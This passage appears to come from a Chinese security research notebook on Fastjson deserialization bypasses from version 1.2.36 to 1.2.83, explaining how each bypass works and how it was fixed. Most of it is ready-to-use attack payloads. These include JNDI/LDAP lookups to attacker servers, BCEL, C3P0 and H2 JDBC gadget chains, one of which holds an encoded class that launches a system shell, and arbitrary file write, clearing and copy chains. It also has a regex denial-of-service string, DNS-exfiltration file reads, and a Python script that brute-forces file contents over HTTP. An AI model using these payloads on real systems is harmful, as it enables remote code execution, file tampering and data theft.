+[https://raw.githubusercontent.com/openjdk/jdk/refs/tags/jdk-11%2B28/src/hotspot/share/classfile/classFileParser.cpp](https://raw.githubusercontent.com/openjdk/jdk/refs/tags/jdk-11%2B28/src/hotspot/share/classfile/classFileParser.cpp) + + +![](https://i.im.ge/QMVv9sx/p2m-aa816ce567.png) + + + + +### jar:file 利用 + + +payload: + + +```json +{ + "@type": "jar:file:.D:.CalcJType!.CalcJType" +} +``` + +点号转换后不会出现连续斜杠,所以 tomcat / undertow 都能打通;缺点是要结合文件上传或文件缓存。分析过程和 `jar:http` 一样,只是最后 `LaunchedURLClassLoader` / `URLClassLoader` 解析的协议不同。 + +文件缓存一般利用 `/proc/self/fd/x`。可以先通过 `jar:http` 把 jar 缓存下来(jar 里塞多个预设好的 class),再爆破 `jar:file:.proc.self.fd.x!.CalcJType` 去触发。 + + +### 其他协议 + + + +#### http 利用 + + +步骤和 `jar:http` 几乎一致。 + +先改类名: + + +![](https://i.im.ge/QMVv04G/p2m-7bd4b0a6a5.png) + + + +只有 `getResourceAsStream` 那里不一样: + + +![](https://i.im.ge/QMVvjya/p2m-c379e37eb0.png) + + + +拿到的是 `HTTPURLConnection`,没有缓存操作,直接返回。后续 `loadClass` 仍然主要取决于类加载器。 + + +#### file 利用 + + + +```json +{ + "@type": "file:.D:.CalcJType" +} +``` + +### IP 转换问题 + + +`URLClassLoader` 加载时会把点号换成斜杠再去找资源。对 `localhost` 没问题,但如果写成 `127.0.0.1` 这种 IP,地址就会被破坏。 + +常见做法是进制转换,SSRF 绕过里也常用: + +比如把 `127.0.0.1` 转成十进制 `2130706433`。 + + +```latex +#10进制 +http://2130706433/ = http://127.0.0.1 +http://3232235521/ = http://192.168.0.1 +http://3232235777/ = http://192.168.1.1 +``` + +### fd 利用脚本 + + +支持 `jar:http` 利用和 fd 爆破,支持回显马、内存马。内存马依赖 MemShellParty,需要先把该项目的 Web 服务开起来,并在脚本里指定 API 地址。 + +[https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723/poc\_fd\_cache\_writefile.py](https://github.com/1diot9/MyJavaSecStudy/blob/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723/poc_fd_cache_writefile.py) + + +![](https://i.im.ge/QMVvmzJ/p2m-b91b04e251.png) + + + + +![](https://i.im.ge/QMVvNmS/p2m-81678a0fe5.png) + + + + +![](https://i.im.ge/QMVv6Oy/p2m-6b84923f6f.png) + + + + +![](https://imglink.cc/cdn/17jBHmzAAI.png) + + + +配套 docker 靶场: + +[https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723](https://github.com/1diot9/MyJavaSecStudy/tree/main/fastjson/fastjson/fastj-1.2.83/cve-2026-16723) + + +# 1.2.47 + + + +## 绕过分析 + + +`@type` 为 `java.lang.Class` 时,走 MiscCodec 反序列化,并通过 `TypeUtils.loadClass` 把类放进缓存 map。 + +之后在 `checkAutoType` 里会先从缓存 map 取,从而绕过。 + + +![](https://i.im.ge/QMVvyo6/p2m-3f9e08748c.png) + + + + +![](https://i.im.ge/QMVvPWz/p2m-a1de8f50fc.png) + + + + +![](https://i.im.ge/QMVvCYK/p2m-14abc80221.png) + + + + +## 修复分析 + + +默认不缓存: + + +![](https://i.im.ge/QMVvAhF/p2m-d683a2154f.png) + + + + + + +## JdbcRowSetImpl + + + +```json +{ + "x1": { + "@type": "java.lang.Class", + "val": "com.sun.rowset.JdbcRowSetImpl" + }, + "x2": { + "@type": "com.sun.rowset.JdbcRowSetImpl", + "dataSourceName": "ldap://localhost:1389/Exploit", + "autoCommit": true + } +} +``` + +## BCEL + + +jdk <= 8u251 + +需要dbcp依赖,一种是tomcat-dbcp,一种是commons-dbcp + + + +bcel字符生成: + + ```java + JavaClass javaClass = Repository.lookupClass(Evil.class); + String encode = Utility.encode(javaClass.getBytes(), true); + String bcel = "$$BCEL$$" + encode; +``` + +org.apache.tomcat.dbcp.dbcp.BasicDataSource tomcat-dbcp <= 7.0.109 + + +```json +{ + "name": { + "@type": "java.lang.Class", + "val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource" + }, + "x1": { + "name": { + "@type": "java.lang.Class", + "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "x2": { + "@type": "com.alibaba.fastjson.JSONObject", + "x3": { + "@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driverClassName": "[bcelCode]", + "$ref": "$.x1.x2.x3.connection" + } + } + } +} +``` + + + +org.apache.tomcat.dbcp.dbcp2.BasicDataSource tomcat-dbcp-8.0.0-RC1 <= tomcat-dbcp <= 10.1.0-M2 + + +```json +{ + "name": { + "@type": "java.lang.Class", + "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" + }, + "x1": { + "name": { + "@type": "java.lang.Class", + "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "x2": { + "@type": "com.alibaba.fastjson.JSONObject", + "x3": { + "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driverClassName": "[bcelCode]", + "$ref": "$.x1.x2.x3.connection" + } + } + } +} +``` + + + +org.apache.commons.dbcp.BasicDataSource commons-dbcp <= 1.4 + + +```json +{ + "name": { + "@type": "java.lang.Class", + "val": "org.apache.commons.dbcp.BasicDataSource" + }, + "x1": { + "name": { + "@type": "java.lang.Class", + "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "x2": { + "@type": "com.alibaba.fastjson.JSONObject", + "x3": { + "@type": "org.apache.commons.dbcp.BasicDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driverClassName": "[bcelCode]", + "$ref": "$.x1.x2.x3.connection" + } + } + } +} +``` + + + +org.apache.commons.dbcp2.BasicDataSource commons-dbcp2 <= 2.13.0 + + +```json +{ + "name": { + "@type": "java.lang.Class", + "val": "org.apache.commons.dbcp2.BasicDataSource" + }, + "x1": { + "name": { + "@type": "java.lang.Class", + "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "x2": { + "@type": "com.alibaba.fastjson.JSONObject", + "x3": { + "@type": "org.apache.commons.dbcp2.BasicDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driverClassName": "[bcelCode]", + "$ref": "$.x1.x2.x3.connection" + } + } + } +} +``` + +## C3P0 + + +c3p0字符转换: + + ```java + byte[] bytes = Files.readAllBytes(Paths.get("D:/1tmp/cc5.bin")); + String hex = toHexAscii(bytes); + String payload = "HexAsciiSerializedMap:" + hex + ";"; + + public static String toHexAscii(byte[] bytes) + { + int len = bytes.length; + StringWriter sw = new StringWriter(len * 2); + for (int i = 0; i < len; ++i) + addHexAscii(bytes[i], sw); + return sw.toString(); + } + + static void addHexAscii(byte b, StringWriter sw) + { + int ub = b & 0xff; + int h1 = ub / 16; + int h2 = ub % 16; + sw.write(toHexDigit(h1)); + sw.write(toHexDigit(h2)); + } + + private static char toHexDigit(int h) + { + char out; + if (h <= 9) out = (char) (h + 0x30); + else out = (char) (h + 0x37); + //System.err.println(h + ": " + out); + return out; + } +``` + + +```json +{ + "x1": { + "@type": "java.lang.Class", + "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource" + }, + "x2": { + "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", + "userOverridesAsString": "[code]" + } +} +``` + + + + +## mybatis + + +mybatis 也有 BCEL 加载效果: + + +```json +{ + "x": { + "xxx": { + "@type": "java.lang.Class", + "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" + }, + "c": { + "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" + }, + "www": { + "@type": "java.lang.Class", + "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + { + "@type": "com.alibaba.fastjson.JSONObject", + "c": { + "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource" + }, + "c": { + "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", + "driverClassLoader": { + "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" + }, + "driver": "【bcelCode】" + } + }:{} + } +} +``` + +## H2Jdbc + + +com.h2database:h2 <= 2.2.224 + + +```json +{ + "x1": { + "@type": "java.lang.Class", + "val": "org.h2.jdbcx.JdbcDataSource" + }, + "x2": { + "@type": "com.alibaba.fastjson.JSONObject", + "c": { + "@type": "org.h2.jdbcx.JdbcDataSource", + "url": "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS 'void exec() throws java.io.IOException { try { byte[] b = java.util.Base64.getDecoder().decode(\"yv66vgAAADIAQAEAWm9yZy9hcGFjaGUvc2hpcm8vY295b3RlL2Rlc2VyaWFsaXphdGlvbi9pbXBsL1Byb3BlcnR5VmFsdWU0NWNjYzQ5NzBmZjI0MWYwYmYzZTBjY2U4NDY1MjU5ZQcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAARiYXNlAQASTGphdmEvbGFuZy9TdHJpbmc7AQADc2VwAQADY21kAQAGPGluaXQ+AQADKClWAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcACwwACQAKCgAEAA0BAAdvcy5uYW1lCAAPAQAQamF2YS9sYW5nL1N5c3RlbQcAEQEAC2dldFByb3BlcnR5AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMABMAFAoAEgAVAQAQamF2YS9sYW5nL1N0cmluZwcAFwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsMABkAGgoAGAAbAQADd2luCAAdAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAB8AIAoAGAAhAQAHY21kLmV4ZQgAIwwABQAGCQACACUBAAIvYwgAJwwABwAGCQACACkBAAcvYmluL3NoCAArAQACLWMIAC0MAAgABgkAAgAvAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyBwAxAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgwACQAzCgAyADQBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwwANgA3CgAyADgBAAg8Y2xpbml0PgEABGNhbGMIADsKAAIADQEABENvZGUBAA1TdGFja01hcFRhYmxlACEAAgAEAAAAAwAJAAUABgAAAAkABwAGAAAACQAIAAYAAAACAAEACQAKAAEAPgAAAIQABAACAAAAUyq3AA4SELgAFrYAHBIetgAimQAQEiSzACYSKLMAKqcADRIsswAmEi6zACoGvQAYWQOyACZTWQSyACpTWQWyADBTTLsAMlkrtwA1tgA5V6cABEyxAAEABABOAFEADAABAD8AAAAXAAT/ACEAAQcAAgAACWUHAAz8AAAHAAQACAA6AAoAAQA+AAAAGgACAAAAAAAOEjyzADC7AAJZtwA9V7EAAAAAAAA=\")\\; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class)\\; method.setAccessible(true)\\; Class c = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length)\\; c.newInstance()\\; } catch (Exception e){ }}'\\;CALL EXEC ()\\;" + } + }, + "x3": { + "$ref": "$.x2.c.connection" + } +} +``` + + + + +# 1.2.48 ~ 1.2.67 + + +以下都需要开启 AutoType,实战能打到的概率偏低。 + + +## <=1.2.60 + + +`commons-configuration-1.10`,且 AutoType enable: + + +``` +ParserConfig.getGlobalInstance().setAutoTypeSupport(true) + + commons-configuration + + commons-configuration + + 1.10 + + + +{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"} +``` + +## <=1.2.61 + + +AutoType enable: + + +```xml + + org.apache.commons + + commons-configuration2 + + 2.8.0 + + + +{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"} +``` + +## <=1.2.67 + + +条件:开启 AutoType,存在 Shiro(不限版本)即可通杀 + + +```xml + + org.apache.shiro + + shiro-core + + 1.5.2 + + + +ParserConfig.getGlobalInstance().setAutoTypeSupport(true); +{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh","instance":{"$ref":"$.instance"}} +``` + +# 1.2.36 ~ 1.2.62 + + +存在拒绝服务,无其他条件,可变相用于黑盒版本探测: + + +```json +{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"} + +{"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"} +``` + +# 1.2.68 + + + +## 绕过分析 + + +这里靠 expectClass 绕过,也就是找 `java.lang.AutoCloseable` 的实现类。 + +设置 `@type` 且进入 `JavaBeanDeserializer` 时,会把第一个 `@type` 当 expectClass,再去检查下一个 `@type`,从而绕过: + + +![](https://i.im.ge/QMVvEB9/p2m-02c1a0b04e.png) + + + + +![](https://i.im.ge/QMVvg1M/p2m-f84043336b.png) + + + + +![](https://i.im.ge/QMVvbHh/p2m-de2d1954de.png) + + + + +## 修复分析 + + +`AutoCloseable` 进黑名单,不再作为 expectClass: + + +![](https://i.im.ge/QMVv8mY/p2m-6a537f7837.png) + + + + +## JDK11 任意写 / 文件清空 + + + +### 任意写 + + + +```json +{ + "@type": "java.lang.AutoCloseable", + "@type": "sun.rmi.server.MarshalOutputStream", + "out": { + "@type": "java.util.zip.InflaterOutputStream", + "out": { + "@type": "java.io.FileOutputStream", + "file": "${file}", + "append": false + }, + "infl": { + "input": { + "array": "${array}", + "limit": ${limit} + } + }, + "bufLen": "100" + }, + "protocolVersion": 1 +} +``` + +Fastjson 在类没有无参构造时,如果其他构造函数带有符号信息,也是可以调用的。 + +标准 `javac` 编译过程中,源码里的变量名 / 参数名可能会被丢掉或混淆,变成无意义占位符。反编译时经常看到 `arg0`、`var0`,就是这个原因。「符号信息」指的是编译器把 `name`、`age` 这类字符串留在字节码的 `LocalVariableTable` 里。 + +可以用下面命令检查;如果有 `LocalVariableTable` 输出,说明该类字节码里的函数参数还带着参数名: + + +```bash +javap -l | grep LocalVariableTable +``` + + + + +### 文件清空 + + + +```json +{ + "@type":"java.lang.AutoCloseable", + "@type":"java.io.FileOutputStream", + "file":"/tmp/123", + "append":false +} +{ + "@type": "java.lang.AutoCloseable", + "@type": "java.io.FileWriter", + "file": "/tmp/nonexist", + "append": "false" +} +``` + + + + +## 文件复制 + + +需要aspectjtools依赖 + + +```json +{ + "@type":"java.lang.AutoCloseable", + "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", + "targetPath":"/x/x/web/nonexist.txt", + "tempPath":"/etc/hosts" +} +``` + +## commons-io 利用 + + +这里io1-io6,主要参考的是珂技知识分析公众号里的文章: [https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA](https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA) + + +### commons-io 版本差异 + + +[http://www.bmth666.cn/2025/12/30/Fastjson-commons-io%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%86%99/](http://www.bmth666.cn/2025/12/30/Fastjson-commons-io任意文件读写/) + + +![](https://i.im.ge/QMVvRZD/p2m-7406c454d4.png) + + + +需要按不同版本依赖,改对应参数名。 + +当 io < 2.5 时,按系统不同,可能会走到 `WriterOutputStream` 里带 `decoder` 的构造;这时 decoder 只能设成 `com.alibaba.fastjson.util.UTF8Decoder`,导致没法写二进制。这个问题在 \[[https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder\]](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson%20Decoder])([https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson](https://github.com/cwkiller/Java-Puzzle/tree/main/Fastjson) Decoder) 里也出现过。 + + +### io 读文件 / 目录 + + +由浅蓝对 BlackHat 上的链做了优化。 + +[https://b1ue.cn/archives/506.html](https://b1ue.cn/archives/506.html) 文章里设了具体场景,对应下面三种 payload。 + +读取错误时返回 null,要结合原本就有回显的点来用: + + +```json +{ + "abc":{"@type": "java.lang.AutoCloseable", + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", + "url": "file:///tmp/" + }, + "charsetName": "UTF-8", + "bufferSize": 1024 + },"boms": [ + { + "@type": "org.apache.commons.io.ByteOrderMark", + "charsetName": "UTF-8", + "bytes": [ + ... + ] + } + ] + }, + "address" : {"$ref":"$.abc.BOM"} +} +``` + + + + + +报错读:正确时报错,错误时不报错。这个用得更多一点。 + + +```json +{ + "abc":{"@type": "java.lang.AutoCloseable", + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", + "url": "file:///tmp/test" + }, + "charsetName": "UTF-8", + "bufferSize": 1024 + },"boms": [ + { + "@type": "org.apache.commons.io.ByteOrderMark", + "charsetName": "UTF-8", + "bytes": [ + 98 + ] + } + ] + }, + "address" : {"@type": "java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence": + {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0} +} +``` + + + +DNS 读:错误时有 DNS 请求,正确时没有。 + + +```json +{ + "abc":{"@type": "java.lang.AutoCloseable", + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", + "url": "file:///tmp/test" + }, + "charsetName": "UTF-8", + "bufferSize": 1024 + },"boms": [ + { + "@type": "org.apache.commons.io.ByteOrderMark", + "charsetName": "UTF-8", + "bytes": [ + 98 + ] + } + ] + }, + "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}, + "xxx": { + "@type": "java.lang.AutoCloseable", + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": { + "@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { + "@type": "jdk.nashorn.api.scripting.URLReader", + "url": "http://aaaxasd.g2pbiw.dnslog.cn/" + }, + "charsetName": "UTF-8", + "bufferSize": 1024 + }, + "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}] + }, + "zzz":{"$ref":"$.xxx.BOM[0]"} +} +``` + + + +配套python脚本: + +```python +import requests + +url = "http://192.168.1.101/login" + +#码表可按照实际修改,例如探测jdk目录一般文件名为小写 +#asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且全为小写 +asciis = [10,32,45,46,47,48,49,50,51,52,53,54,55,56,57,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122] #针对linux下正常文件夹或文件读取,去除了一些文件名下不常见的字符,且包含大小写 +# asciis = [10,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126] #所有可见字符 + + +data1 = """ +{ + "abc": { + "@type": "java.lang.AutoCloseable", + "@type": "org.apache.commons.io.input.BOMInputStream", + "delegate": { + "@type": "org.apache.commons.io.input.ReaderInputStream", + "reader": { + "@type": "jdk.nashorn.api.scripting.URLReader", + "url": "file:///usr/local/tomcat/" # 修改这个进行列目录 + }, + "charsetName": "UTF-8", + "bufferSize": 1024 + }, + "boms": [ + { + "charsetName": "UTF-8", + "bytes": [ +""" + +data2 = """ + ] + } + ] + }, + "address": { + "@type": "java.lang.AutoCloseable", + "@type": "org.apache.commons.io.input.CharSequenceReader", + "charSequence": { + "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"}, + "start": 0, + "end": 0 + } + } +} +""" +proxies = { + 'http': '127.0.0.1:8080', +} + +header = { + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", + "Content-Type": "application/json; charset=utf-8" +} + +def byte2str(bytes): + file_str = "" + for i in file_byte: + file_str += chr(int(i)) + print("【" + file_str + "】") + +file_byte = [] +for i in range(0,50): # 需要读取多长自己定义,但一次性不要太长,建议分多次读取 + for i in asciis: + file_byte.append(str(i)) + req = requests.post(url=url,data=data1+','.join(file_byte)+data2,headers=header) + text = req.text + + if "charSequence" not in text: + file_byte.pop() + byte2str(file_byte) +print(file_byte) +``` + + +### io1 / io2 写文件(编码后支持二进制) + + +[https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg](https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg) + +只能写 8kb 整的文件;写二进制时必须做 iso-8859-1 编码;目录必须已存在。 + +这里走的是 `XmlStreamReader` 构造触发 `getBOM`;ioFinal 会改良成直接通过 `BOMInputStream.getBOM` 触发。`FileWriterWithEncoding` 也会换成 `LockableFileWriter`,从而能自动创建目录。 + +commons-io 2.0 - 2.6: + + +```json +{ + "x":{ + "@type":"com.alibaba.fastjson.JSONObject", + "input":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.ReaderInputStream", + "reader":{ + "@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence":{"@type":"java.lang.String""${content}" + }, + "charsetName":"UTF-8", + "bufferSize":1024 + }, + "branch":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.output.WriterOutputStream", + "writer":{ + "@type":"org.apache.commons.io.output.FileWriterWithEncoding", + "file":"${path}", + "encoding":"UTF-8", + "append": false + }, + "charsetName":"UTF-8", + "bufferSize": 1024, + "writeImmediately": true + }, + "trigger":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger2":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger3":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "is":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + } + } +} +``` + + + +commons-io 2.7 - 2.8.0: + + +```json +{ + "x":{ + "@type":"com.alibaba.fastjson.JSONObject", + "input":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.ReaderInputStream", + "reader":{ + "@type":"org.apache.commons.io.input.CharSequenceReader", + "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)", + "start":0, + "end":2147483647 + }, + "charsetName":"UTF-8", + "bufferSize":1024 + }, + "branch":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.output.WriterOutputStream", + "writer":{ + "@type":"org.apache.commons.io.output.FileWriterWithEncoding", + "file":"/tmp/pwned", + "charsetName":"UTF-8", + "append": false + }, + "charsetName":"UTF-8", + "bufferSize": 1024, + "writeImmediately": true + }, + "trigger":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "inputStream":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger2":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "inputStream":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + }, + "trigger3":{ + "@type":"java.lang.AutoCloseable", + "@type":"org.apache.commons.io.input.XmlStreamReader", + "inputStream":{ + "@type":"org.apache.commons.io.input.TeeInputStream", + "input":{ + "$ref":"$.input" + }, + "branch":{ + "$ref":"$.branch" + }, + "closeBranch": true + }, + "httpContentType":"text/xml", + "lenient":false, + "defaultEncoding":"UTF-8" + } + } +``` + + + + +#### 解析特性 + + +payload 里有一段 JSON 比较特殊: + + +```json +"charSequence":{"@type":"java.lang.String""aaaaaa" +``` + +第一个特殊点:为什么不直接写: + + +```json +"charSequence": "aaa" +``` + +这里报错,是因为 Fastjson 把 `charSequence` 当接口,默认按 Java Bean 处理;而 `"aaa"` 会被当成基础字符串,类型对不上。 + +第二个特殊点:为什么能直接在 String 后面写 `"aaaa"`。 + +上面报错后,我先把 payload 改成了: + + +```json +"charSequence":{"@type":"java.lang.String", "original":"aaaaaa"} +``` + +![](https://i.im.ge/QMVvKhC/p2m-afc9a5fd7d.png) + + + +想调 String 的构造,还是报错。 + +换成正确 payload 跟进调试,最终发现是在这里截取: + + +![](https://i.im.ge/QMVvZo4/p2m-85def2ba16.png) + + + +然后在 `StringCodec` 里正式取出: + + +![](https://i.im.ge/QMVvzaP/p2m-1a0093b365.png) + + + +调试里还发现:String 后面不能跟逗号,不然一定报错。跟了逗号,token 就会是逗号,`StringCodec` 就会走进上图断点那行,最后掉进 `switch default` 报错。 + +第三个特殊点:为什么最后少了一个 `}` 闭合,还能解析成功? + +当时我也困惑,后来对照解析逻辑看了一下: + + +![](https://i.im.ge/QMVvfBp/p2m-d796ad9c1a.png) + + + + +![](https://i.im.ge/QMVvVbq/p2m-2b67e77a94.png) + + + +总的来说,记住有这么一种写法即可。 + + +### io3 写文件(≈ io1 / io2) + + +su18 发现的类似 io1 的链,和 io1 基本一样: [https://su18.org/post/fastjson-1.2.68/](https://su18.org/post/fastjson-1.2.68/) + + +### io4 写文件(支持二进制) + + +需要 `commons-io-2.2`、`aspectjtools-1.9.6`、`commons-codec-1.6`。只能写 8kb 整,二进制写入正常。 + +于 BlackHat 公开: + +[https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf](https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf) + +[https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-32](https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-32) + + +```java +// commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 + public static void writeIo4() throws IOException { + String json = "{\n" + + " \"@type\":\"java.lang.AutoCloseable\",\n" + + " \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" + + " \"delegate\":{\n" + + " \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" + + " \"input\":{\n" + + " \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" + + " \"in\":{\n" + + " \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" + + " \"charset\":\"utf-8\",\n" + + " \"bufferSize\": 1024,\n" + + " \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" + + " },\n" + + " \"doEncode\":false,\n" + + " \"lineLength\":1024,\n" + + " \"lineSeparator\":\"5ZWKCg==\",\n" + + " \"decodingPolicy\":0\n" + + " },\n" + + " \"branch\":{\n" + + " \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" + + " \"targetPath\":\"%2$s\",\n" + + " \"append\":false,\n" + + " \"alwaysCreate\":true\n" + + " },\n" + + " \"closeBranch\":false\n" + + " },\n" + + " \"include\":true,\n" + + " \"boms\":[{\n" + + " \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" + + " \"charsetName\": \"UTF-8\",\n" + + " \"bytes\":%3$s\n" + + " }],\n" + + " \"x\":{\"$ref\":\"$.bOM\"}\n" + + "}"; + + // 要写入的文件 + byte[] bytes = Files.readAllBytes(Paths.get("D:/flag.txt")); + + //写文本时要填充数据 + String content = new String(bytes, StandardCharsets.UTF_8); + for (int i=0; i<8192; i++){ + content = content + "a"; + } + + byte[] bytesPadding = content.getBytes(); + String base64Content = 